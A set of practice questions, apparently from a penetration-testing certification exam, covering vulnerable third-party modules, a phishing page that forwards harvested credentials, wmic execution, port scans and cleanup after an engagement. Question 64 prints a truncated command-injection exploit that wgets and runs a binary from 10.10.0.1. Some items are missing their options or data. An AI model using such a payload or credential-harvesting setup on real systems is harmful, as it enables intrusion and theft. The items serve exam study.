NO.58 A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

NO.59 For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to
https://example.com/index.html. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

Which of the following lines of code should the security engineer add to make the attack successful?

NO.60 A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

NO.62 Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

NO.63 You are a penetration tester reviewing a client’s website through a web browser.
INSTRUCTIONS
Review all components of the website through the browser to determine if vulnerabilities are present.
Remediate ONLY the highest vulnerability from either the certificate, source, or cookies.

NO.64 A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = “POST “
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS
&loginUser=a&Pwd=a”
exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?

NO.65 You are a penetration tester running port scans on a server.
INSTRUCTIONS
Part 1: Given the output, construct the command that was used to generate this output from the available options.
Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.
